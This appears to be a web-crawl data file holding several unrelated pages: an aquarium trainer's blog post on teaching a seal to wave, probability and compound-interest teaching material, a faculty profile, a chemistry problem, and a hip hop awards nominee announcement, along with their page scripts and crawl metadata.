"# New England Aquarium//<![CDATA[ (function(){var g=this,h=function(b,d){var a=b.split(\".\"),c=g;ain c||!c.execScript||c.execScript(\"var \"+a);for(var e;a.length&&(e=a.shift());)a.length||void 0===d?c[e]?c=c[e]:c=c[e]={}:c[e]=d};var l=function(b){var d=b.length;if(0<d){for(var a=Array(d),c=0;c<d;c++)a[c]=b[c];return a}return[]};var m=function(b){var d=window;if(d.addEventListener)d.addEventListener(\"load\",b,!1);else if(d.attachEvent)d.attachEvent(\"onload\",b);else{var a=d.onload;d.onload=function(){b.call(this);a&&a.call(this)}}};var n,p=function(b,d,a,c,e){this.f=b;this.h=d;this.i=a;this.c=e;this.e={height:window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,width:window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth};this.g=c;this.b={};this.a=[];this.d={}},q=function(b,d){var a,c,e=d.getAttribute(\"pagespeed_url_hash\");if(a=e&&!(e in b.d))if(0>=d.offsetWidth&&0>=d.offsetHeight)a=!1;else{c=d.getBoundingClientRect();var f=document.body;a=c.top+(\"pageYOffset\"in window?window.pageYOffset:(document.documentElement||f.parentNode||f).scrollTop);c=c.left+(\"pageXOffset\"in window?window.pageXOffset:(document.documentElement||f.parentNode||f).scrollLeft);f=a.toString()+\",\"+c;b.b.hasOwnProperty(f)?a=!1:(b.b[f]=!0,a=a<=b.e.height&&c<=b.e.width)}a&&(b.a.push(e),b.d[e]=!0)};p.prototype.checkImageForCriticality=function(b){b.getBoundingClientRect&&q(this,b)};h(\"pagespeed.CriticalImages.checkImageForCriticality\",function(b){n.checkImageForCriticality(b)});h(\"pagespeed.CriticalImages.checkCriticalImages\",function(){r(n)});var r=function(b){b.b={};for(var d=[\"IMG\",\"INPUT\"],a=[],c=0;c<d.length;++c)a=a.concat(l(document.getElementsByTagName(d[c])));if(0!=a.length&&a.getBoundingClientRect){for(c=0;d=a[c];++c)q(b,d);a=\"oh=\"+b.i;b.c&&(a+=\"&n=\"+b.c);if(d=0!=b.a.length)for(a+=\"&ci=\"+encodeURIComponent(b.a),c=1;c<b.a.length;++c){var e=\",\"+encodeURIComponent(b.a[c]);131072>=a.length+e.length&&(a+=e)}b.g&&(e=\"&rd=\"+encodeURIComponent(JSON.stringify(s())),131072>=a.length+e.length&&(a+=e),d=!0);t=a;if(d){c=b.f;b=b.h;var f;if(window.XMLHttpRequest)f=new XMLHttpRequest;else if(window.ActiveXObject)try{f=new ActiveXObject(\"Msxml2.XMLHTTP\")}catch(k){try{f=new ActiveXObject(\"Microsoft.XMLHTTP\")}catch(u){}}f&&(f.open(\"POST\",c+(-1==c.indexOf(\"?\")?\"?\":\"&\")+\"url=\"+encodeURIComponent(b)),f.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),f.send(a))}}},s=function(){var b={},d=document.getElementsByTagName(\"IMG\");if(0==d.length)return{};var a=d;if(!(\"naturalWidth\"in a&&\"naturalHeight\"in a))return{};for(var c=0;a=d[c];++c){var e=a.getAttribute(\"pagespeed_url_hash\");e&&(!(e in b)&&0<a.width&&0<a.height&&0<a.naturalWidth&&0<a.naturalHeight||e in b&&a.width>=b[e].k&&a.height>=b[e].j)&&(b[e]={rw:a.width,rh:a.height,ow:a.naturalWidth,oh:a.naturalHeight})}return b},t=\"\";h(\"pagespeed.CriticalImages.getBeaconData\",function(){return t});h(\"pagespeed.CriticalImages.Run\",function(b,d,a,c,e,f){var k=new p(b,d,a,e,f);n=k;c&&m(function(){window.setTimeout(function(){r(k)},0)})});})();pagespeed.CriticalImages.Run('/mod_pagespeed_beacon','http://neaq.ordercompletion.com/','w4RdHWOzsL',true,false,'yobErJ3BosA'); //]]>",
null,
"## 5/14/09\n\n### #112: The Queen's Wave",
null,
"After Smoke and I mastered her invertedbottle, I had to find a new behavior to train. It turned out that she was the only harbor seal at the Aquarium that didn't know how to wave. Not anymore! To get her waving I first had to get her to lift and lower her flipper. Over time we worked on increasing the number of waves and the speed of them. Here's the video:\n\nNotice that I started off by rolling her over onto her side before she started waving. Soon, the act of rolling over became her cue to wave which was not my desired signal. Right now I'm working on getting her to wave by just saying the word \"wave\". Watch this video to see some of the steps we took to get Smokey waving like the queen she is.\n\n#### 1 comment:\n\n1.",
null,
"That is adorable. I thought she would know/learn this behavior by mimicking you so it's interesting to see how her learning process is going. Good job!\n\nHave a question for the trainers? Send it to them in the space below. The moderator will share the question."
] | [
null,
"http://neaq.ordercompletion.com/skin/frontend/v3/556neaq/images/logo.png",
null,
"http://www.neaq.org/education_and_activities/blogs_webcams_videos_and_more/blogs/marine_mammals/uploaded_images/Smoke-July-2008-785649",
null,
"http://trainers.neaq.org/2009/05/112-queens-wave.php",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9589114,"math_prob":0.9174318,"size":1536,"snap":"2022-05-2022-21","text_gpt3_token_len":440,"char_repetition_ratio":0.09856397,"word_repetition_ratio":0.0,"special_character_ratio":0.32421875,"punctuation_ratio":0.12933753,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9786244,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,4,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-28T12:51:21Z\",\"WARC-Record-ID\":\"<urn:uuid:652a1273-cd0f-4399-b9a6-4290f499e8c1>\",\"Content-Length\":\"76157\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4a1b0783-e4f2-4e11-8834-bfd5c90267e7>\",\"WARC-Concurrent-To\":\"<urn:uuid:835cdf9f-52e2-46f5-ac82-47c861116b00>\",\"WARC-IP-Address\":\"142.251.45.115\",\"WARC-Target-URI\":\"http://trainers.neaq.org/2009/05/112-queens-wave.php\",\"WARC-Payload-Digest\":\"sha1:6GR3JHI7CF5P4QMOOIW7R5N4UZUWSOV2\",\"WARC-Block-Digest\":\"sha1:YKXITPABZFWHQMOCLBCAXNEEVBP3RMES\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652663016853.88_warc_CC-MAIN-20220528123744-20220528153744-00215.warc.gz\"}"} |
https://math-faq.com/chapter-7/ | [
"# Chapter 7 Probability",
null,
"Cornischong at Luxembourgish Wikipedia [CC BY-SA (https://creativecommons.org/licenses/by-sa/1.0)]\n\nGames of chance are examples of experiments where the outcomes are uncertain. In poker, there are millions of different ways a five card hand can be dealt. However, only one of these hands correspond to a club royal flush. This makes the likelihood of being dealt a club royal flush extremely unlikely. probability is a way of quantifying the likelihood of this hand occurring.\n\nIn this chapter, we’ll learn how to calculate probabilities. This will require you to learn a number of basic principles about what probability is and the difference between theoretical and empirical probability. This will help you to master two more learning outcomes in the class.\n\n• Perform the basic operations of “or”, “and”, and complement on sets.\n• Evaluate probabilities of simple, compound, independent and dependent events.\n\nSection 1 – Basic Concepts of Probability\n\nSection 2 – Probability Rules\n\nSection 3 – Conditional Probability"
] | [
null,
"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.90906554,"math_prob":0.9333759,"size":963,"snap":"2021-21-2021-25","text_gpt3_token_len":189,"char_repetition_ratio":0.12513034,"word_repetition_ratio":0.0,"special_character_ratio":0.20145379,"punctuation_ratio":0.10059172,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9905713,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-17T23:08:33Z\",\"WARC-Record-ID\":\"<urn:uuid:5e483d4f-a9be-4f8f-b5b7-bf51a120b20a>\",\"Content-Length\":\"31249\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f47ad8c3-db68-43cc-99d3-81621af63f65>\",\"WARC-Concurrent-To\":\"<urn:uuid:4d0f7962-ed18-4e77-9f44-0e7ef8c97227>\",\"WARC-IP-Address\":\"198.60.123.57\",\"WARC-Target-URI\":\"https://math-faq.com/chapter-7/\",\"WARC-Payload-Digest\":\"sha1:NIIS5BUIYUJDMKYHPI4YR4C5KAOGMYK4\",\"WARC-Block-Digest\":\"sha1:QYWFII4QRMXTPHAS3CQQICMOXREH2HFG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623487634576.73_warc_CC-MAIN-20210617222646-20210618012646-00147.warc.gz\"}"} |
https://math.vt.edu/people/faculty/yue-pengtao.html | [
"# Pengtao Yue\n\nProfessor\nMcBryde Room 440\n\n460 McBryde Hall, Virginia Tech\n225 Stanger Street\nBlacksburg, VA 24061-1026\n\nIn a broad sense, my research includes the development of mathematical models (usually in the form of partial differential equations) for complex physical processes, the design of numerical algorithms to solve these equations, and the exploration of underlying physics by analyzing the numerical results. The ultimate goal is to understand our physical world.\n\nCurrently, my research includes the following three physical problems: the moving contact line problem where a fluid wets a solid surface, interfacial flows of viscoelatic fluids, and icing.\n\nTo track the moving boundaries, such as the deformable fluid-fluid interface and the rigid fluid-particle interface, I have used the arbitrary Lagrangian-Eulerian, level-set, and phase-field methods.\n\nTo solve the partial differential equations, I have used the finite difference, finite volume, finite element (including the discontinuous Galerkin), and spectral methods, depending on the nature of the problems.\n\nOf course, programming is required to develop computer codes to compute the numerical results. I use FORTRAN, MATLAB, C, and C++."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.87149477,"math_prob":0.8132966,"size":1182,"snap":"2023-40-2023-50","text_gpt3_token_len":241,"char_repetition_ratio":0.10441426,"word_repetition_ratio":0.0,"special_character_ratio":0.19120136,"punctuation_ratio":0.1407767,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9764252,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-23T21:28:12Z\",\"WARC-Record-ID\":\"<urn:uuid:73b825bd-d467-4832-bdd8-7dab6e0e98a5>\",\"Content-Length\":\"55872\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c3f25174-6bf5-4f50-a575-97673da0ed1e>\",\"WARC-Concurrent-To\":\"<urn:uuid:a834a06b-4eb4-4ae7-96c3-bb65c0586a5a>\",\"WARC-IP-Address\":\"198.82.215.14\",\"WARC-Target-URI\":\"https://math.vt.edu/people/faculty/yue-pengtao.html\",\"WARC-Payload-Digest\":\"sha1:NRQ5RTOWBFEV3O474DESZDY6ZWCBYQEB\",\"WARC-Block-Digest\":\"sha1:C7MFBWKEVR62YD2MKX3XGAXY66NKAENN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506528.3_warc_CC-MAIN-20230923194908-20230923224908-00233.warc.gz\"}"} |
https://www.clutchprep.com/chemistry/practice-problems/9614/using-the-format-given-in-your-text-which-of-the-following-rate-equalities-160-i | [
"# Problem: Using the format given in your text, which of the following rate equalities is correct for the following reaction? 4 NH3(g) + 7 O2 (g) → 4 NO2(g) + 6 H2O(g)\n\n###### FREE Expert Solution\n84% (427 ratings)\n###### Problem Details\n\nUsing the format given in your text, which of the following rate equalities is correct for the following reaction?\n\n4 NH3(g) + 7 O2 (g) → 4 NO2(g) + 6 H2O(g)",
null,
""
] | [
null,
"https://cdn.clutchprep.com/problem_images/9614.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9379026,"math_prob":0.9757302,"size":903,"snap":"2020-45-2020-50","text_gpt3_token_len":196,"char_repetition_ratio":0.1323693,"word_repetition_ratio":0.077922076,"special_character_ratio":0.21705426,"punctuation_ratio":0.09714286,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9724284,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-12-05T22:23:47Z\",\"WARC-Record-ID\":\"<urn:uuid:4dd10397-9250-460a-9f86-4985a3006683>\",\"Content-Length\":\"133277\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cf0e6f2c-eda7-4e78-8655-486cd2b49c40>\",\"WARC-Concurrent-To\":\"<urn:uuid:b971328b-6e9c-4d54-8e8f-d0f1bb6314dc>\",\"WARC-IP-Address\":\"34.198.20.103\",\"WARC-Target-URI\":\"https://www.clutchprep.com/chemistry/practice-problems/9614/using-the-format-given-in-your-text-which-of-the-following-rate-equalities-160-i\",\"WARC-Payload-Digest\":\"sha1:JA3WSDVFCHONGOMXG2UBDSCPTEQGZPR4\",\"WARC-Block-Digest\":\"sha1:UHSDM77AZINE3VWSJYPI7TYLYO6XEV72\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141750841.83_warc_CC-MAIN-20201205211729-20201206001729-00398.warc.gz\"}"} |
https://psebsolutions.com/pseb-8th-class-maths-solutions-chapter-8-ex-8-3/ | [
"# PSEB 8th Class Maths Solutions Chapter 8 Comparing Quantities Ex 8.3\n\nPunjab State Board PSEB 8th Class Maths Book Solutions Chapter 8 Comparing Quantities Ex 8.3 Textbook Exercise Questions and Answers.\n\n## PSEB Solutions for Class 8 Maths Chapter 8 Comparing Quantities Ex 8.3\n\n1. Calculate the amount and compound interest on:\n\nQuestion (a)\n₹ 10,800 for 3 years at 12$$\\frac {1}{2}$$ per annum compounded annually.\nSolution:\nHere, P = ₹ 10,800;\nR = 12$$\\frac {1}{2}$$ % = $$\\frac {25}{2}$$ %;\nT = 3 years; ∴ n = 3",
null,
"Amount = ₹ 15,377.34\nCompound’interest = Amount – Principal\n= ₹ (15377.34 – 10800)\n= ₹ 4577.34",
null,
"Question (b)\n₹ 18,000 for 2$$\\frac {1}{2}$$ years at 10% per annum compounded annually.\nSolution:\nHere, P = ₹ 18,000; R = 10 %;\nT = 2$$\\frac {1}{2}$$ years; ∴ n = 2 + $$\\frac {1}{2}$$",
null,
"Amount = ₹ 22,869\nCompoimd interest = Amount – Principal\n= ₹ (22869 – 18000)\n= ₹ 4869\n\nQuestion (c)\n₹ 62,500 for 1$$\\frac {1}{2}$$ years at 8% per annum compounded half yearly.\nSolution:\nHere, the interest is compounded half-yearly.\nHere, P = ₹ 62,500; R = $$\\frac {8}{2}$$ = 4 %\nT = 1$$\\frac {1}{2}$$ years ∴ n = $$\\frac {3}{2}$$ × 2 = 3",
null,
"Amount = ₹ 70,304\nCompound interest = Amount – Principal\n= ₹ (70304 – 62500)\n= ₹ 7804",
null,
"Question (d)\n₹ 8000 for 1 year at 9 % per annum compounded half-yearly.\n(You could use the year-by-year calculation using SI formula to verify.)\nSolution:\nHere, the interest is compounded half-yearly.\nHere, P = ₹ 8000; R = $$\\frac {9}{2}$$ %;\nT = 1 year ∴ n = 2",
null,
"Amount = ₹ 8736.20\nCompound interest = Amount – Principal\n= ₹ (8736.20 – 8000)\n= ₹ 736.20\n[Note : By finding simple interest also we can calculate.)\nSI = $$\\frac {PRT}{100}$$\n= $$\\frac{8000 \\times 9 \\times 1}{2 \\times 100}$$\n= ₹ 376.20\nThus, total interest of 1 year\n= ₹ (360 + 376.20)\n= ₹ 736.20",
null,
"Question (e)\n₹ 10,000 for 1 year 8% per annum compounded half yearly.\nSolution:\nHere, the interest is compounded half-yearly.\nHere, P = ₹ 10,000; R = $$\\frac {8}{2}$$ = 4 %;\nT = 1 year ∴ n = 1 × 2 = 2",
null,
"Amount = ₹ 10,816\nCompound interest = Amount – Principal\n= ₹ (10816 – 10000)\n= ₹ 816\n\n2. Kamala borrowed ₹ 26,400 from a Bank to buy a scooter at a rate of 15% p.a. compounded yearly. What amount will she pay at the end of 2 years and 4 months to clear the loan?\n(Hint: Find A for 2 years with interest is compounded yearly and then find SI on the 2nd year amount for $$\\frac {4}{12}$$ years)\nSolution:\n[Note: Here, find amount after 2 years by compound interest. This amount is principal for $$\\frac {4}{12}$$ year. For this $$\\frac {4}{12}$$ year, find simple interest.)\nHere, P = ₹ 26,400; R = 15%;\nT = 2 years ∴ n = 2",
null,
"Now, ₹ 34,914 will be principal to find interest of 4 months.\nSI = $$\\frac {PRT}{100}$$\n= $$\\frac{34914 \\times 15 \\times 4}{100 \\times 12}$$\n= $$\\frac{174570}{100}$$\n= ₹ 174570\n= ₹ 1745.70\nAmount = ₹ (34914 + 1745.70)\n= ₹ 36,659.70\nThus, Kamala Mil have to pay ₹ 36,659.70 to clear the loan.",
null,
"3. Fabina borrows ₹ 12,500 at 12% per annum for 3 years at simple interest and Radha borrows the same amount for the same time period at 10% per annum, compounded annually. Who pays more interest and by how much?\nSolution:\nFor Fabina:\nHere, P = ₹ 12,500; R = 12%; T = 3 years\nSI = $$\\frac{\\mathrm{P} \\times \\mathrm{R} \\times \\mathrm{T}}{100}$$\n= $$\\frac{12500 \\times 12 \\times 3}{100}$$\n= 125 × 12 × 3\n= ₹ 4500\nSimple interest = ₹ 4500\n\nHere, P = ₹ 12,500; R = 10%;\nT = 3 years ∴ n = 3",
null,
"",
null,
"Amount = ₹ 16,637.50\nCompound interest = Amount – Principal\n= ₹ (16637.50 – 12500)\n= ₹ 4137.50\nFabina has to pay ₹ 4500 as interest and Radha has to pay ₹ 4137.50 as interest.\n∴ Fabina has to pay more interest.\nDifference in interest = ₹ (4500 – 4137.50)\n= ₹ 362.50\nThus, Fabina has to pay ₹ 362.50 more than Radha as interest.\n\n4. I borrowed ₹ 12,000 from Jamshed at 6 % per annum simple interest for 2 years. Had I borrowed this sum at 6% per annum compound interest, what extra amount would I have to pay?\nSolution:\nFor Simple Interest:\nHere, P = ₹ 12,000; R = 6 %; T = 2 years\nSI = $$\\frac{\\mathrm{P} \\times \\mathrm{R} \\times \\mathrm{T}}{100}$$\n= $$\\frac{12000 \\times 6 \\times 2}{100}$$\n= 120 × 6 × 2\n= ₹ 1440\nSI = ₹ 1440\n\nFor Compound Interest:\nHere, P = ₹ 12,000, R = 6 %\nT = 2 years ∴ n = 2",
null,
"= ₹ 13,483.20\nAmount = ₹ 13,483.20\nCI = A – P\n= ₹ (13483.20 – 12000)\n= ₹ 1483.20\n∴ Extra amount to be paid\n= ₹ (1483.20 – 1440)\n= ₹ 43.20\nThus, I have to pay ₹ 43.20 as extra amount.",
null,
"5. Vasudevan invested ₹ 60,000 at an interest rate of 12% per annum compounded half-yearly. What amount would he get.\n\nQuestion (i)\nafter 6 months?\nSolution:\nInterest after 6 months:\nHere, P = ₹ 60,000; R = $$\\frac {12}{2}$$ = 6%;\nT = 6 months ∴ n = 1",
null,
"∴ Amount = ₹ 63,600\n\nQuestion (ii)\nafter 1 year?\nSolution:\nAfter 1 year:\n∴ Amount = ₹ 67,416\nHere, P = ₹ 60,000; R = $$\\frac {12}{2}$$ = 6 %;\nT = 1 year ∴ n = 2",
null,
"∴ Amount = ₹ 67, 146\nThus, Vasudevan will get ₹ 63,600 after 6 months and ₹ 67,416 after 1 year.",
null,
"6. Arif took a loan of ₹ 80,000 from a bank. If the rate of interest is 10% per annum, find the difference in amounts he would be paying after 1$$\\frac {1}{2}$$ years if the interest is\n\nQuestion (i)\ncompounded annually.\nSolution:\nCalculation of CI annually:\nHere, P = ₹ 80,000; R = 10 %;\nT = 1$$\\frac {1}{2}$$ year\n\nFor 1st year:\nR = 10% and n = 1",
null,
"∴ Amount of CI after 1 year = ₹ 88,000\nNow, calculate simple interest of ₹ 88,000 for 6 months.\nP = ₹ 88,000; R = 10 %;\nT = 6 months = $$\\frac {1}{2}$$ year\n∴ Interest = $$\\frac{P \\times R \\times T}{100}$$\n= $$\\frac{88000 \\times 10 \\times 1}{100 \\times 2}$$\n= 4400\n∴ Interest of 6 months = ₹ 4400\nThus, A = P + I\n= ₹ (88000 + 4400)\n= ₹ 92,400\nThus, according to CI, Arif has to pay ₹ 92,400\n\nQuestion (ii)\ncompounded half yearly.\nSolution:\nIf interest is compounded half yearly\nHere, P = ₹ 88000, R = $$\\frac {10}{2}$$ = 5%\nT = 1$$\\frac {1}{2}$$ years ∴ n = 3",
null,
"∴ Amount = ₹ 92,610\nThus, according to half-yearly CI, Arif has to pay ₹ 92,610\n∴ Difference = ₹ (92,610 – 92,400)\n= ₹ 210",
null,
"7. Maria invested ₹ 8,000 in a business. She would be paid interest at 5% per annum compounded annually. Find\n\nQuestion (i)\nThe amount credited against her name at the end of the second year,\nSolution:\n(i) Here, P = ₹ 8000, R = 5 %,\nT = 2 years ∴ n = 2",
null,
"",
null,
"Thus, amount credited against Marlas name at the end of second year is ₹ 8820.\n\nQuestion (ii)\nThe interest for the 3rd year.\nSolution:\nTo find the interest for the 3rd year:\nP = ₹ 8820, R = 5%, T = 1 years\nSI = $$\\frac{\\mathrm{PRT}}{100}=\\frac{8820 \\times 5 \\times 1}{100}$$ = 441\nThe interest for 3rd year is ₹ 441\nOR\nThe interest for the 3rd year:\nHere, P = ₹ 8000, R = 5 %, T = 3 years ∴ n = 3",
null,
"∴ At the end of 3rd year ₹ 9261 will be credited against Maria’s name.\n∴ Interest of the 3rd year = Amount of 3 years – Amount of 2 years\n= ₹ (9261 – 8820)\n= ₹ 441",
null,
"8. Find the amount and the compound interest on ₹ 10,000 for 1$$\\frac {1}{2}$$ years at 10% per annum, compounded half-yearly. Would this interest be more than the interest he would get if it was compounded annually?\nSolution:\n(i) Here, interest is compounded half-yearly.\nHere, P = ₹ 10,000; R = $$\\frac {10}{2}$$ = 5 %;\nT = 1$$\\frac {1}{2}$$ years ∴ n = 3",
null,
"Amount = ₹ 11,576.25\nCI = A – P\n= ₹ (11576.25 – 10000)\n= ₹ 1576.25\n\n(ii) Here, interest is compounded yearly. CI for 1 year:\nHere, P = ₹ 10,000; R = 10%;\nT = 1 year ∴ n = 1",
null,
"Amount at the end of 1 year = ₹ 11,000\n∴ CI = A – P\n= ₹ (11000 – 10000)\n= ₹ 1000\nNow, calculate SI for 6 months.\nHere, P = ₹ 11,000; R = 10%; T = $$\\frac {1}{2}$$ year\nSI = $$\\frac{\\mathrm{P} \\times \\mathrm{R} \\times \\mathrm{T}}{100}=\\frac{11000 \\times 10 \\times 1}{100 \\times 2}$$\n= 550\n∴ Total interest of 1$$\\frac {1}{2}$$ years = ₹ (1000 + 550)\n= ₹ 1550\nAfter comparing (i) and (ii), we can conclude ₹ 1576.25 > ₹ 1550\n∴ Yes, the interest is more if compounded half-yearly.",
null,
"9. Find the amount which Ram will get on ₹ 4096, if he gave it for 18 months at 12$$\\frac {1}{2}$$ % per annum, interest being compounded half-yearly.\nSolution:\nHere, interest is compounded half-yearly.\nHere, P = ₹ 4096, R = 12$$\\frac{1}{2} \\times \\frac{1}{2}=\\frac{25}{4}$$\nT = 18 months = 1$$\\frac {1}{2}$$ years ∴ n = 3",
null,
"Amount = ₹ 4913\nThus, Ram will get ₹ 4913 at the end of period.\n\n10. The population of a place increased to 54,000 in 2003 at a rate of 5% per annum\n\nQuestion (i)\nfind the population in 2001.\nSolution:\n[Note: In 1st case, we have to find P as population of 2003 is given. From that we have to find population of 2001.]\nPopulation in 2003 = 54,000\nHere, A = 54,000; R = 5%; T = 2 years ∴ n = 2",
null,
"∴ P = 48979.59 (approx)\nP = 48980 (approx)\nThus, the population in 2001 is 48,980.",
null,
"Question (ii)\nWhat would be its population in 2005?\nSolution:\nHere, P = 54,000; R = 5 %;\nT = 2 years ∴ n = 2",
null,
"Thus, the population in 2005 is 59,535.\n\n11. In a Laboratory, the count of bacteria in a certain experiment was increasing at the rate of 2.5% per hour. Find the bacteria at the end of 2 hours if the count was initially 5,06,000.\nSolution:\nInitial count of bacteria = 5,06,000\nRate of increasing = 2.5% per hour\nBacteria count after 2 hours\nHere, P = 5,06,000, R = 2.5 % = $$\\frac {5}{2}$$%;\nT = 2 hours ∴ n = 2",
null,
"A = 531616 (approx)\nThus, the number of bacteria count after 2 hours will be 5,31,616 (approx).",
null,
"12. A scooter was bought at ₹ 42,000. Its value depreciated at the rate of 8 % per annum. Find its value after one year.\nSolution:\nCP of a scooter = ₹ 42,000\nHere, P = ₹ 42,000; R = 8 %; T = 1 ∴ n = 1\nR = – 8 % (as depreciation)",
null,
"Thus, the value of a scooter after 1 year will be ₹ 38,640."
] | [
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https://hiphop411.tv/universal-music-africas-artists-get-nominated-for-the-10th-sa-hip-hop-awards/ | [
"``` (adsbygoogle = window.adsbygoogle || []).push({}); ```\n``` FacebookTwitterRedditPinterestEmail (adsbygoogle = window.adsbygoogle || []).push({}); Johannesburg, South Africa – Thursday, 4 November 2021 – Universal congratulates all SAHHA ’21 nominees. The South African Hip Hop Awards have revealed the nominees for the upcoming celebration night, of all that local hip hop has achieved in the past year. The upcoming award show is monumental as it marks the tenth edition of the SAHHA, which first hosted the award ceremony back in 2011. Following the full list of nominations, Universal Music Africa would like to congratulate its artists, both internationally and locally that have earned a nod from the prestigious award ceremony. Our hip hop artists earned multiple nods for the releases this year and these include the following: ARTIST OF THE DECADE: NADIA NAKAI KHULI CHANA BOITY DJ OF THE YEAR: MS COSMO SONG OF THE YEAR: KHULI CHANA – BUYILE ft. STINO LE THWENNY BEST FEMALE: BOITY FRESHMAN OF THE YEAR: BOITY MVP/HUSTLER OF THE YEAR: BOITY NASTY C BEST COLLABORATION: KHULI CHANA – BUYILE ft STINO LE THWENNY BEST MUSIC VIDEO: NASTY C – BLACK & WHITE ft ARI LENNOX BEST REMIX: BOITY – 018’s FINEST ft. 25K, WILLIAM LAST KRM, TOWDEEMAC & VENOM STINO LE THWENNY – MSHIMANE 2.0 ft. K.O, MAJOR LEAGUE DJz & KHULI CHANA Universal Music Africa would like to congratulate our nominees and thank them for the hard work they have put in this year. Boity becomes the most nominated artist this year with five nominations to her name. Legend and music returnee, Khuli Chana comes a close second with a total of four nominations which goes to affirm that his voice was missed in music. Now as we wait for the formal event to see who will get their flowers during the award ceremony. (adsbygoogle = window.adsbygoogle || []).push({}); (adsbygoogle = window.adsbygoogle || []).push({});",
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"Hip-Hop 411 is a full service media production agency that is solely focused on content creation for Social Media, Web TV, Video On Demand (VOD) and Television. Hip-Hop 411 is passionate about creating content that displays the best of what South Africa, Africa and what the global pop culture has to offer, giving young creatives a platform and opportunity to showcase their talents to the rest of the world with a unique and authentic South African experience. The company specializes in pre-production, post production, music production, events production, and all visual audio content. Hip-Hop 411 is 100% black owned and prides itself in using the latest in digital and visual effects technology available on the market to give you the best visual experience. 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[0-9]{3,4}\",Micromax:\"Micromax.*\\\\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\\\\b\",Palm:\"PalmSource|Palm\",Vertu:\"Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature\",Pantech:\"PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790\",Fly:\"IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250\",Wiko:\"KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK 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like Chrome/[0-9.]+ (?!Mobile)\",SurfaceTablet:\"Windows NT [0-9.]+; ARM;.*(Tablet|ARMBJS)\",HPTablet:\"HP Slate (7|8|10)|HP ElitePad 900|hp-tablet|EliteBook.*Touch|HP 8|Slate 21|HP SlateBook 10\",AsusTablet:\"^.*PadFone((?!Mobile).)*\\$|Transformer|TF101|TF101G|TF300T|TF300TG|TF300TL|TF700T|TF700KL|TF701T|TF810C|ME171|ME301T|ME302C|ME371MG|ME370T|ME372MG|ME172V|ME173X|ME400C|Slider SL101|\\\\bK00F\\\\b|\\\\bK00C\\\\b|\\\\bK00E\\\\b|\\\\bK00L\\\\b|TX201LA|ME176C|ME102A|\\\\bM80TA\\\\b|ME372CL|ME560CG|ME372CG|ME302KL| K010 | K011 | K017 | K01E |ME572C|ME103K|ME170C|ME171C|\\\\bME70C\\\\b|ME581C|ME581CL|ME8510C|ME181C|P01Y|PO1MA|P01Z|\\\\bP027\\\\b|\\\\bP024\\\\b|\\\\bP00C\\\\b\",BlackBerryTablet:\"PlayBook|RIM Tablet\",HTCtablet:\"HTC_Flyer_P512|HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200|PG09410\",MotorolaTablet:\"xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617\",NookTablet:\"Android.*Nook|NookColor|nook 